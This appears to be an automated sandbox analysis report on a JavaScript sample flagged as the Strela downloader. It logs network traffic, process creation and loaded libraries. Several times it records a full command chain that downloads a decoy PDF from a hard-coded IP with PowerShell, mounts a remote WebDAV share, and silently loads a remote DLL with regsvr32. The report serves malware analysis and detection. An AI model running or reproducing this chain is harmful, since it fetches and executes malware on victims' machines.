6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1685629750.0000016BAF2C4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1685597998.0000016BAF2D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1787079910.000002A301018000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1787079910.000002A30106B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1787079910.000002A301048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1787079910.000002A301048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=C
Source: net.exe, 00000006.00000002.1787079910.000002A301048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/YDE
Source: net.exe, 00000006.00000002.1787079910.000002A301018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacez(
Source: svchost.exe, 00000008.00000002.2975627006.0000019B9EA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1787938411.0000019B9EC68000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1787938411.0000019B9EC68000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1787938411.0000019B9EC68000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1787938411.0000019B9EC9D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1787938411.0000019B9ED12000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1787938411.0000019B9ED12000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1787938411.0000019B9ED12000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7544, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 22964327542023110895.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzpaumr0.gxi.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,2079297078306945465,16777750773246910103,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,2079297078306945465,16777750773246910103,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
